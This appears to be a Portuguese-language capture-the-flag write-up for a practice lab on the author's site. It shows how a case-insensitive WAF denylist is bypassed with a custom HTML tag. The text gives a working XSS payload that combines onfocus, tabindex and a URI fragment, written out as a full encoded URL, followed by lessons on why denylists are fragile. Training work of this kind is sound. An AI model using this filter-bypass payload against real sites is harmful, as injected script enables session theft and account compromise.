Lab 2 - Bypassing WAF Case Insensitive
Este desafio de nível 2 consiste em explorar uma vulnerabilidade de Cross-Site Scripting (XSS) em uma aplicação web protegida por um WAF mais robusto que o do Lab 1, agora case insensitive.
URL do Desafio: https://brunomenozzi.com/desafios/xss2.php
A meta permanece a mesma: injetar e executar código JavaScript (triggar um alert()
) no contexto da página, mas agora com um WAF mais evoluído.
- Ao acessar a página, o retorno é
Please provide search parameter
. Isso confirma que a aplicação continua esperando o parâmetrosearch
na URL. - Testamos a reflexão do parâmetro:
- Acesso:
https://brunomenozzi.com/desafios/xss2.php?search=teste
- Resultado: A palavra
teste
é refletida na página.
- Acesso:
(Mais uma vez, sem necessidade de fuzzing de parâmetros - foco total na exploração!)
Agora, testamos se as técnicas do Lab 1 ainda funcionam:
- Tentativa Básica:
https://brunomenozzi.com/desafios/xss2.php?search=<img>
- Resultado: A requisição é bloqueada - WAF ainda ativo.
- Tentativa Case Variation:
https://brunomenozzi.com/desafios/xss2.php?search=<IMG>
- Resultado: Também bloqueada! O WAF agora é case insensitive.
Conclusão: O WAF evoluiu e agora bloqueia tags HTML independentemente de estarem em maiúsculo ou minúsculo. Precisamos de uma abordagem mais criativa.
- Teste de Tag Customizada:
https://brunomenozzi.com/desafios/xss2.php?search=<teste>
- Resultado: A tag reflete sem problemas! 🎉
Insight: O WAF possui uma lista restritiva (denylist) de tags específicas (img
, script
, etc.), mas permite outras tags HTML. Podemos abusar dessa permissividade.
Como a tag <teste>
é permitida, precisamos encontrar uma forma de executar JavaScript através dela. A estratégia será:
- Criar um elemento com
id
específico - Usar o evento
onfocus
para executar nosso código - Utilizar
tabindex
para tornar o elemento focalizável - Usar URI Fragment (
#
) para automaticamente focar no elemento
Payload Final:
<teste id=name onfocus=alert(document.domain) tabindex=1>
URL Completa (Encoded):
https://brunomenozzi.com/desafios/xss2.php?search=%3Cteste%20id=name%20onfocus=alert(document.domain)%20tabindex=1%3E#name
<teste>
: Tag HTML customizada que passa pelo WAFid=name
: Identificador único para o elementoonfocus=alert(document.domain)
: Executa o alert quando o elemento recebe focotabindex=1
: Torna o elemento focalizável via teclado (Tab)#name
: Fragmento de URL que automaticamente foca no elemento comid="name"
Esta técnica demonstra que:
- denylists são inerentemente frágeis - sempre existem tags ou atributos não considerados
- Event handlers menos comuns (
onfocus
,onblur
,onmouseenter
) podem ser eficazes contra WAFs básicos - O contexto de execução (URI fragments) pode ser explorado para triggerar eventos
Outras abordagens possíveis incluem o uso de tags SVG, eventos de mouse, ou até mesmo a combinação de múltiplas técnicas.
O código fonte desse desafio pode ser encontrado aqui: https://github.com/zeroc00I/eternalnoobchallenges/blob/main/2-simple-waf.php